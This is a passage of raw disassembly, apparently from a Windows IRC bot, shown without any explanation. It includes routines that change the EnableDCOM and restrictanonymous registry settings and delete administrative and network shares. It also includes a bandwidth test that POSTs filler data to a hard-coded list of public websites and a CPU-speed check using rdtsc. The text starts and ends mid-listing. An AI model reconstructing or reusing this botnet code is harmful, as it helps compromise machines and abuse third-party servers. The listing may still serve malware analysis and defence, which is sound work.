101h mov [ebp+var_44], si call ds:dword_42B008 ; CreateProcessA test eax, eax jnz short loc_41CADA loc_41CAD2: ; CODE XREF: sub_41C9D4+60j ; sub_41C9D4+77j ... or eax, 0FFFFFFFFh jmp loc_41CB88 ; --------------------------------------------------------------------------- loc_41CADA: ; CODE XREF: sub_41C9D4+FCj push [ebp+var_4] mov edi, ds:dword_42B004 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov ds:dword_4E277C, eax mov eax, [ebp+var_8] mov ds:dword_4E2778, eax mov eax, [ebp+var_2C] mov ds:dword_4E27B4, eax call edi ; CloseHandle cmp [ebp+arg_4], esi mov eax, [ebp+arg_0] mov ds:dword_4E2774, eax jz short loc_41CB14 push [ebp+arg_4] jmp short loc_41CB15 ; --------------------------------------------------------------------------- loc_41CB14: ; CODE XREF: sub_41C9D4+139j push ebx loc_41CB15: ; CODE XREF: sub_41C9D4+13Ej push offset dword_4E2780 call sub_41E6A6 pop ecx pop ecx push esi push 0Ah push offset dword_438AE4 call sub_40AE85 mov ecx, [ebp+var_24] mov edi, eax imul edi, 234h add esp, 0Ch mov ds:dword_4444F0[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset loc_41C87C push esi push esi call ds:dword_42B03C ; CreateThread cmp eax, esi mov ds:dword_4444FC[edi], eax jnz short loc_41CB86 call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_438AB0 push eax call sub_41E6A6 lea eax, [ebp+var_378] push eax call sub_417D70 add esp, 10h loc_41CB86: ; CODE XREF: sub_41C9D4+189j xor eax, eax loc_41CB88: ; CODE XREF: sub_41C9D4+101j pop edi pop ebx loc_41CB8A: ; CODE XREF: sub_41C9D4+32j pop esi leave retn sub_41C9D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_444274, edi jnz loc_41CCBB lea eax, [ebp-4] push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" mov esi, 80000002h push esi call ds:dword_444238 ; RegOpenKeyExA test eax, eax jnz short loc_41CC14 lea eax, [ebp-6] push eax mov word ptr [ebp-6], 4Eh call sub_41E1C0 pop ecx push eax lea eax, [ebp-6] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push dword ptr [ebp-4] call ds:dword_4440E4 ; RegSetValueExA test eax, eax lea eax, [ebp-214h] jz short loc_41CBFC push offset dword_438D60 jmp short loc_41CC01 ; --------------------------------------------------------------------------- loc_41CBFC: ; CODE XREF: seg000:0041CBF3j push offset dword_438D40 loc_41CC01: ; CODE XREF: seg000:0041CBFAj push eax call sub_41E6A6 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4441E8 ; RegCloseKey jmp short loc_41CC27 ; --------------------------------------------------------------------------- loc_41CC14: ; CODE XREF: seg000:0041CBC3j lea eax, [ebp-214h] push offset dword_438D10 push eax call sub_41E6A6 pop ecx pop ecx loc_41CC27: ; CODE XREF: seg000:0041CC12j cmp [ebp+14h], edi jnz short loc_41CC46 push 1 push dword ptr [ebp+10h] lea eax, [ebp-214h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41CC46: ; CODE XREF: seg000:0041CC2Aj lea eax, [ebp-214h] push eax call sub_417D70 pop ecx lea eax, [ebp-4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_444238 ; RegOpenKeyExA test eax, eax jnz short loc_41CCB4 push 4 lea eax, [ebp-8] push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push dword ptr [ebp-4] mov dword ptr [ebp-8], 1 call ds:dword_4440E4 ; RegSetValueExA test eax, eax lea eax, [ebp-214h] jz short loc_41CC9C push offset dword_438CC0 jmp short loc_41CCA1 ; --------------------------------------------------------------------------- loc_41CC9C: ; CODE XREF: seg000:0041CC93j push offset dword_438C8C loc_41CCA1: ; CODE XREF: seg000:0041CC9Aj push eax call sub_41E6A6 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4441E8 ; RegCloseKey jmp short loc_41CCCE ; --------------------------------------------------------------------------- loc_41CCB4: ; CODE XREF: seg000:0041CC6Bj push offset dword_438C50 jmp short loc_41CCC0 ; --------------------------------------------------------------------------- loc_41CCBB: ; CODE XREF: seg000:0041CBA0j push offset dword_438C20 loc_41CCC0: ; CODE XREF: seg000:0041CCB9j lea eax, [ebp-214h] push eax call sub_41E6A6 pop ecx pop ecx loc_41CCCE: ; CODE XREF: seg000:0041CCB2j cmp [ebp+14h], edi jnz short loc_41CCED push 1 push dword ptr [ebp+10h] lea eax, [ebp-214h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41CCED: ; CODE XREF: seg000:0041CCD1j lea eax, [ebp-214h] push eax call sub_417D70 cmp ds:dword_44429C, edi pop ecx jnz loc_41CE6A mov [ebp-4], edi mov [ebp-14h], edi mov [ebp-0Ch], edi push ebx loc_41CD10: ; CODE XREF: seg000:0041CE4Ej lea eax, [ebp-0Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-4] push eax push 0FFFFFFFFh lea eax, [ebp-8] push eax push 1F6h push edi call ds:dword_44420C cmp eax, edi mov [ebp-10h], eax jz short loc_41CDAF cmp eax, 0EAh jz short loc_41CDAF xor esi, esi loc_41CD3E: ; CODE XREF: seg000:0041CDA8j push ds:off_4434C0[esi] push edi call sub_41B8EE pop ecx pop ecx push ds:off_4434C0[esi] test eax, eax lea eax, [ebp-214h] jnz short loc_41CD63 push offset dword_438BFC jmp short loc_41CD68 ; --------------------------------------------------------------------------- loc_41CD63: ; CODE XREF: seg000:0041CD5Aj push offset dword_438BD0 loc_41CD68: ; CODE XREF: seg000:0041CD61j push 200h push eax call sub_41E6FE add esp, 10h cmp [ebp+14h], edi jnz short loc_41CD95 push 1 push dword ptr [ebp+10h] lea eax, [ebp-214h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41CD95: ; CODE XREF: seg000:0041CD79j lea eax, [ebp-214h] push eax call sub_417D70 add esi, 8 cmp esi, 20h pop ecx jb short loc_41CD3E jmp loc_41CE47 ; --------------------------------------------------------------------------- loc_41CDAF: ; CODE XREF: seg000:0041CD33j ; seg000:0041CD3Aj mov esi, [ebp-8] xor ebx, ebx inc ebx cmp [ebp-4], ebx jb loc_41CE3E loc_41CDBE: ; CODE XREF: seg000:0041CE3Aj mov edi, [esi] push edi call sub_4206A3 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41CE33 push edi call sub_41B802 push eax push 0 call sub_41B8EE add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp-214h] jnz short loc_41CDF3 push offset dword_438BAC jmp short loc_41CDF8 ; --------------------------------------------------------------------------- loc_41CDF3: ; CODE XREF: seg000:0041CDEAj push offset dword_438B80 loc_41CDF8: ; CODE XREF: seg000:0041CDF1j push 200h push eax call sub_41E6FE add esp, 10h cmp dword ptr [ebp+14h], 0 jnz short loc_41CE26 push 1 push dword ptr [ebp+10h] lea eax, [ebp-214h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41CE26: ; CODE XREF: seg000:0041CE0Aj lea eax, [ebp-214h] push eax call sub_417D70 pop ecx loc_41CE33: ; CODE XREF: seg000:0041CDCDj add esi, 28h inc ebx cmp ebx, [ebp-4] jbe short loc_41CDBE xor edi, edi loc_41CE3E: ; CODE XREF: seg000:0041CDB8j push dword ptr [ebp-8] call ds:dword_444140 loc_41CE47: ; CODE XREF: seg000:0041CDAAj cmp dword ptr [ebp-10h], 0EAh jz loc_41CD10 lea eax, [ebp-214h] push offset dword_438B58 push eax call sub_41E6A6 pop ecx pop ecx pop ebx jmp short loc_41CE7D ; --------------------------------------------------------------------------- loc_41CE6A: ; CODE XREF: seg000:0041CD00j lea eax, [ebp-214h] push offset dword_438B28 push eax call sub_41E6A6 pop ecx pop ecx loc_41CE7D: ; CODE XREF: seg000:0041CE68j cmp [ebp+14h], edi jnz short loc_41CE9B push edi push dword ptr [ebp+10h] lea eax, [ebp-214h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41CE9B: ; CODE XREF: seg000:0041CE80j lea eax, [ebp-214h] push eax call sub_417D70 pop ecx xor eax, eax pop edi inc eax pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp ds:dword_444274, ebx push esi jnz loc_41CFD9 lea eax, [ebp-4] push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" mov esi, 80000002h push esi call ds:dword_444238 ; RegOpenKeyExA test eax, eax jnz short loc_41CF36 lea eax, [ebp-6] push eax mov word ptr [ebp-6], 59h call sub_41E1C0 pop ecx push eax lea eax, [ebp-6] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push dword ptr [ebp-4] call ds:dword_4440E4 ; RegSetValueExA test eax, eax lea eax, [ebp-220h] jz short loc_41CF1E push offset dword_438ED8 jmp short loc_41CF23 ; --------------------------------------------------------------------------- loc_41CF1E: ; CODE XREF: seg000:0041CF15j push offset dword_438EBC loc_41CF23: ; CODE XREF: seg000:0041CF1Cj push eax call sub_41E6A6 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4441E8 ; RegCloseKey jmp short loc_41CF49 ; --------------------------------------------------------------------------- loc_41CF36: ; CODE XREF: seg000:0041CEE5j lea eax, [ebp-220h] push offset dword_438D10 push eax call sub_41E6A6 pop ecx pop ecx loc_41CF49: ; CODE XREF: seg000:0041CF34j cmp [ebp+14h], ebx jnz short loc_41CF68 push 1 push dword ptr [ebp+10h] lea eax, [ebp-220h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41CF68: ; CODE XREF: seg000:0041CF4Cj lea eax, [ebp-220h] push eax call sub_417D70 pop ecx lea eax, [ebp-4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_444238 ; RegOpenKeyExA test eax, eax jnz short loc_41CFD2 push 4 lea eax, [ebp-8] push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push dword ptr [ebp-4] mov [ebp-8], ebx call ds:dword_4440E4 ; RegSetValueExA test eax, eax lea eax, [ebp-220h] jz short loc_41CFBA push offset dword_438E7C jmp short loc_41CFBF ; --------------------------------------------------------------------------- loc_41CFBA: ; CODE XREF: seg000:0041CFB1j push offset dword_438E44 loc_41CFBF: ; CODE XREF: seg000:0041CFB8j push eax call sub_41E6A6 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4441E8 ; RegCloseKey jmp short loc_41CFEC ; --------------------------------------------------------------------------- loc_41CFD2: ; CODE XREF: seg000:0041CF8Dj push offset dword_438E08 jmp short loc_41CFDE ; --------------------------------------------------------------------------- loc_41CFD9: ; CODE XREF: seg000:0041CEC2j push offset dword_438C20 loc_41CFDE: ; CODE XREF: seg000:0041CFD7j lea eax, [ebp-220h] push eax call sub_41E6A6 pop ecx pop ecx loc_41CFEC: ; CODE XREF: seg000:0041CFD0j cmp [ebp+14h], ebx jnz short loc_41D00B push 1 push dword ptr [ebp+10h] lea eax, [ebp-220h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41D00B: ; CODE XREF: seg000:0041CFEFj lea eax, [ebp-220h] push eax call sub_417D70 cmp ds:dword_44429C, ebx pop ecx jnz loc_41D17E push edi xor esi, esi mov edi, 200h loc_41D02C: ; CODE XREF: seg000:0041D099j push ds:dword_4434C4[esi] push ds:off_4434C0[esi] push ebx call sub_41B883 add esp, 0Ch push ds:off_4434C0[esi] test eax, eax lea eax, [ebp-220h] jnz short loc_41D058 push offset dword_438DE8 jmp short loc_41D05D ; --------------------------------------------------------------------------- loc_41D058: ; CODE XREF: seg000:0041D04Fj push offset dword_438DC0 loc_41D05D: ; CODE XREF: seg000:0041D056j push edi push eax call sub_41E6FE add esp, 10h cmp [ebp+14h], ebx jnz short loc_41D086 push 1 push dword ptr [ebp+10h] lea eax, [ebp-220h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41D086: ; CODE XREF: seg000:0041D06Aj lea eax, [ebp-220h] push eax call sub_417D70 add esi, 8 cmp esi, 10h pop ecx jb short loc_41D02C call ds:dword_42B130 ; GetLogicalDrives test eax, eax mov [ebp-4], eax mov bl, 41h jz loc_41D166 loc_41D0AE: ; CODE XREF: seg000:0041D160j test byte ptr [ebp-4], 1 jz loc_41D15B cmp bl, 41h jz loc_41D15B movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp-14h] push 0Ah push eax call sub_41E6FE push esi push offset aC_0 ; "%c:\\" lea eax, [ebp-20h] push 0Ah push eax call sub_41E6FE add esp, 20h lea eax, [ebp-20h] push eax call ds:dword_44407C ; GetDriveTypeA cmp eax, 3 jnz short loc_41D15B lea eax, [ebp-20h] push eax lea eax, [ebp-14h] push eax push 0 call sub_41B883 add esp, 0Ch test eax, eax lea eax, [ebp-14h] push eax lea eax, [ebp-220h] jnz short loc_41D11F push offset dword_438DE8 jmp short loc_41D124 ; --------------------------------------------------------------------------- loc_41D11F: ; CODE XREF: seg000:0041D116j push offset dword_438DC0 loc_41D124: ; CODE XREF: seg000:0041D11Dj push edi push eax call sub_41E6FE add esp, 10h cmp dword ptr [ebp+14h], 0 jnz short loc_41D14E push 1 push dword ptr [ebp+10h] lea eax, [ebp-220h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41D14E: ; CODE XREF: seg000:0041D132j lea eax, [ebp-220h] push eax call sub_417D70 pop ecx loc_41D15B: ; CODE XREF: seg000:0041D0B2j ; seg000:0041D0BBj ... inc bl shr dword ptr [ebp-4], 1 jnz loc_41D0AE loc_41D166: ; CODE XREF: seg000:0041D0A8j lea eax, [ebp-220h] push offset dword_438D90 push eax call sub_41E6A6 pop ecx pop ecx xor ebx, ebx pop edi jmp short loc_41D191 ; --------------------------------------------------------------------------- loc_41D17E: ; CODE XREF: seg000:0041D01Ej lea eax, [ebp-220h] push offset dword_438B28 push eax call sub_41E6A6 pop ecx pop ecx loc_41D191: ; CODE XREF: seg000:0041D17Cj cmp [ebp+14h], ebx jnz short loc_41D1AF push ebx push dword ptr [ebp+10h] lea eax, [ebp-220h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h loc_41D1AF: ; CODE XREF: seg000:0041D194j lea eax, [ebp-220h] push eax call sub_417D70 pop ecx xor eax, eax pop esi inc eax pop ebx leave retn ; --------------------------------------------------------------------------- aUnlMbS_0 db 'Ul$Œì˜',0 ; DATA XREF: sub_40274D+2BECo dd 458B0000h, 6A57567Ch, 0F08B5926h, 0F3DC7D8Dh, 647D83A5h dd 6C75FF00h, 9480C7h, 10000h, 75FF0000h, 0E0458D68h, 0DC75FF50h dd 8EE80774h, 0EBFFFFF9h, 0FCA9E805h, 0C483FFFFh, 6075FF10h dd 0FEDF38E8h, 6A59FFh, 0B06815FFh db 42h, 0, 0CCh ; =============== S U B R O U T I N E ======================================= sub_41D21B proc near ; CODE XREF: sub_41D41B+CBp ; sub_41D41B+DDp ... arg_0 = dword ptr 4 call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 pop ecx call sub_41ECDE cdq idiv [esp+arg_0] mov eax, edx retn sub_41D21B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D235 proc near ; CODE XREF: sub_41D41B+D4p ; sub_41D41B+E6p ... var_34 = dword ptr -34h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push [ebp+arg_0] call sub_41E1C0 mov esi, 0FFh cmp eax, esi pop ecx ja short loc_41D2A5 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41E5F0 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_4022BD add esp, 10h test eax, eax mov [ebp+var_24], eax jz short loc_41D2A5 push 50h call ds:dword_444260 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call ds:dword_444100 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz short loc_41D2A5 push 10h lea ecx, [ebp+var_28] push ecx push eax call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_41D2AC loc_41D2A5: ; CODE XREF: sub_41D235+17j ; sub_41D235+3Cj ... xor eax, eax jmp loc_41D3FB ; --------------------------------------------------------------------------- loc_41D2AC: ; CODE XREF: sub_41D235+6Ej push ebx push edi push 32003h call sub_41FEB2 mov edi, ds:dword_42B038 mov ebx, eax pop ecx mov [ebp+var_C], ebx call edi ; GetTickCount push eax call sub_41ECD4 call sub_41ECDE cdq idiv esi mov [esp+34h+var_34], 32001h push 0 push ebx movsx esi, dl call sub_41E5F0 push 32000h push esi push ebx call sub_41E5F0 push ebx call sub_41E1C0 push 323EAh mov ebx, eax call sub_41FEB2 push ebx push [ebp+arg_0] mov esi, eax push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41E6A6 push [ebp+var_C] push esi call sub_41EED0 push offset asc_4348E8 ; "\r\n" push esi call sub_41EED0 add esp, 40h push esi call sub_41E1C0 mov ebx, eax pop ecx mov [ebp+var_14], ebx call edi ; GetTickCount mov [ebp+var_18], eax xor eax, eax test ebx, ebx mov [ebp+var_8], eax jbe short loc_41D387 mov [ebp+var_10], ebx mov ebx, 400h jmp short loc_41D353 ; --------------------------------------------------------------------------- loc_41D350: ; CODE XREF: sub_41D235+150j mov eax, [ebp+var_8] loc_41D353: ; CODE XREF: sub_41D235+119j mov ecx, [ebp+var_14] sub ecx, eax add eax, esi cmp ecx, ebx push 0 jnb short loc_41D365 push [ebp+var_10] jmp short loc_41D366 ; --------------------------------------------------------------------------- loc_41D365: ; CODE XREF: sub_41D235+129j push ebx loc_41D366: ; CODE XREF: sub_41D235+12Ej push eax push [ebp+var_4] call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz loc_41D3FE add [ebp+var_8], ebx mov eax, [ebp+var_8] sub [ebp+var_10], ebx cmp eax, [ebp+var_14] jb short loc_41D350 loc_41D387: ; CODE XREF: sub_41D235+10Fj call edi ; GetTickCount sub eax, [ebp+var_18] test eax, eax mov [ebp+var_18], eax fild [ebp+var_18] jge short loc_41D39C fadd ds:flt_438F0C loc_41D39C: ; CODE XREF: sub_41D235+15Fj fmul ds:flt_438F08 fstp [ebp+var_10] fld ds:flt_438F04 fld [ebp+var_10] fucompp fnstsw ax test ah, 44h jp short loc_41D3BC fld1 fstp [ebp+var_10] loc_41D3BC: ; CODE XREF: sub_41D235+180j push [ebp+var_4] call ds:dword_444218 ; closesocket push [ebp+var_C] call sub_41E2A1 push esi call sub_41E2A1 fild [ebp+var_14] mov eax, [ebp+var_14] test eax, eax pop ecx pop ecx jge short loc_41D3E5 fadd ds:flt_438F0C loc_41D3E5: ; CODE XREF: sub_41D235+1A8j fdiv [ebp+var_10] fmul ds:flt_438F00 fmul ds:flt_438EFC call sub_41FE38 loc_41D3F9: ; CODE XREF: sub_41D235+1E4j pop edi pop ebx loc_41D3FB: ; CODE XREF: sub_41D235+72j pop esi leave retn ; --------------------------------------------------------------------------- loc_41D3FE: ; CODE XREF: sub_41D235+13Ej push [ebp+var_4] call ds:dword_444218 ; closesocket push [ebp+var_C] call sub_41E2A1 push esi call sub_41E2A1 pop ecx pop ecx xor eax, eax jmp short loc_41D3F9 sub_41D235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D41B proc near ; CODE XREF: sub_40274D+2C3Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41D21B push [ebp+eax*4+var_3C] call sub_41D235 push 8 mov esi, eax call sub_41D21B push [ebp+eax*4+var_3C] call sub_41D235 add esp, 10h test esi, esi jz short loc_41D51C test eax, eax jz short loc_41D518 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41D51E ; --------------------------------------------------------------------------- loc_41D518: ; CODE XREF: sub_41D41B+F4j mov ebx, esi jmp short loc_41D51E ; --------------------------------------------------------------------------- loc_41D51C: ; CODE XREF: sub_41D41B+F0j mov ebx, eax loc_41D51E: ; CODE XREF: sub_41D41B+FBj ; sub_41D41B+FFj push 0Ch call sub_41D21B push [ebp+eax*4+var_6C] call sub_41D235 push 0Ch mov edi, eax call sub_41D21B push [ebp+eax*4+var_6C] call sub_41D235 add esp, 10h test edi, edi jz short loc_41D556 test eax, eax jz short loc_41D552 lea esi, [eax+edi] shr esi, 1 jmp short loc_41D558 ; --------------------------------------------------------------------------- loc_41D552: ; CODE XREF: sub_41D41B+12Ej mov esi, edi jmp short loc_41D558 ; --------------------------------------------------------------------------- loc_41D556: ; CODE XREF: sub_41D41B+12Aj mov esi, eax loc_41D558: ; CODE XREF: sub_41D41B+135j ; sub_41D41B+139j push 6 call sub_41D21B push [ebp+eax*4+var_1C] call sub_41D235 push 6 mov edi, eax call sub_41D21B push [ebp+eax*4+var_1C] call sub_41D235 add esp, 10h test edi, edi jz short loc_41D590 test eax, eax jz short loc_41D58C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41D592 ; --------------------------------------------------------------------------- loc_41D58C: ; CODE XREF: sub_41D41B+168j mov ecx, edi jmp short loc_41D592 ; --------------------------------------------------------------------------- loc_41D590: ; CODE XREF: sub_41D41B+164j mov ecx, eax loc_41D592: ; CODE XREF: sub_41D41B+16Fj ; sub_41D41B+173j xor eax, eax test ebx, ebx jz short loc_41D59F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41D5A2 ; --------------------------------------------------------------------------- loc_41D59F: ; CODE XREF: sub_41D41B+17Bj push 2 pop edi loc_41D5A2: ; CODE XREF: sub_41D41B+182j test esi, esi jz short loc_41D5AA add eax, esi jmp short loc_41D5AB ; --------------------------------------------------------------------------- loc_41D5AA: ; CODE XREF: sub_41D41B+189j dec edi loc_41D5AB: ; CODE XREF: sub_41D41B+18Dj test ecx, ecx jz short loc_41D5B3 add eax, ecx jmp short loc_41D5B4 ; --------------------------------------------------------------------------- loc_41D5B3: ; CODE XREF: sub_41D41B+192j dec edi loc_41D5B4: ; CODE XREF: sub_41D41B+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_438F48 push eax call sub_41E6A6 push 0 push [ebp+arg_8] lea eax, [ebp+var_26C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_26C] push eax call sub_417D70 add esp, 30h pop edi pop esi pop ebx leave retn sub_41D41B endp ; =============== S U B R O U T I N E ======================================= sub_41D5F8 proc near ; CODE XREF: sub_40274D+23AAp ; sub_40274D+27E2p ... arg_0 = dword ptr 4 push esi push edi call ds:dword_42B038 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" push 32h mov esi, offset dword_4E27B8 push esi call sub_41E6FE add esp, 18h pop edi mov eax, esi pop esi retn sub_41D5F8 endp ; --------------------------------------------------------------------------- aUnlIbF db 'Ul$ˆì”',0 dd 8D560000h, 3350E445h, 0E445C7F6h, 94h, 0B06415FFh, 0C0850042h dd 7D834D74h, 297504E8h, 75EC7539h, 0F47D8312h, 46017501h dd 2F47D83h, 0F6333575h, 8330EB46h, 750AEC7Dh, 0EB026A04h dd 0EC7D8325h, 0EB20755Ah, 0E87D8311h, 39187505h, 0E974EC75h dd 1EC7D83h, 36A0475h, 7D8308EBh, 37502ECh, 8B5E076Ah dd 0C5835EC6h db 78h, 0C9h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41D6C3 proc near ; CODE XREF: sub_41D779+245p push ebx push esi push edi mov edi, 0F4240h loc_41D6CB: ; CODE XREF: sub_41D6C3+2Fj ; sub_41D6C3+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call ds:dword_42B014 ; Sleep rdtsc push 0 sub eax, esi push edi sbb edx, ebx push edx push eax call sub_420C80 mov esi, edx test esi, esi mov ebx, eax ja short loc_41D6CB jb short loc_41D6FA cmp ebx, edi ja short loc_41D6CB loc_41D6FA: ; CODE XREF: sub_41D6C3+31j push 0 push 64h push esi push ebx call sub_420C00 mov ecx, edx push 64h xor edx, edx test ecx, ecx mov edi, eax pop eax ja short loc_41D76D jb short loc_41D719 cmp edi, 50h jnb short loc_41D71E loc_41D719: ; CODE XREF: sub_41D6C3+4Fj push 4Bh pop eax xor edx, edx loc_41D71E: ; CODE XREF: sub_41D6C3+54j test ecx, ecx ja short loc_41D76D jb short loc_41D729 cmp edi, 47h jnb short loc_41D72E loc_41D729: ; CODE XREF: sub_41D6C3+5Fj push 42h pop eax xor edx, edx loc_41D72E: ; CODE XREF: sub_41D6C3+64j test ecx, ecx ja short loc_41D76D jb short loc_41D739 cmp edi, 37h jnb short loc_41D73E loc_41D739: ; CODE XREF: sub_41D6C3+6Fj push 32h pop eax xor edx, edx loc_41D73E: ; CODE XREF: sub_41D6C3+74j test ecx, ecx ja short loc_41D76D jb short loc_41D749 cmp edi, 26h jnb short loc_41D74E loc_41D749: ; CODE XREF: sub_41D6C3+7Fj push 21h pop eax xor edx, edx loc_41D74E: ; CODE XREF: sub_41D6C3+84j test ecx, ecx ja short loc_41D76D jb short loc_41D759 cmp edi, 1Eh jnb short loc_41D75E loc_41D759: ; CODE XREF: sub_41D6C3+8Fj push 19h pop eax xor edx, edx loc_41D75E: ; CODE XREF: sub_41D6C3+94j test ecx, ecx ja short loc_41D76D jb short loc_41D769 cmp edi, 0Ah jnb short loc_41D76D loc_41D769: ; CODE XREF: sub_41D6C3+9Fj xor eax, eax xor edx, edx loc_41D76D: ; CODE XREF: sub_41D6C3+4Dj ; sub_41D6C3+5Dj ... sub eax, edi sbb edx, ecx add eax, ebx pop edi adc edx, esi pop esi pop ebx retn sub_41D6C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_41D779 proc near ; CODE XREF: sub_40274D+2565p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 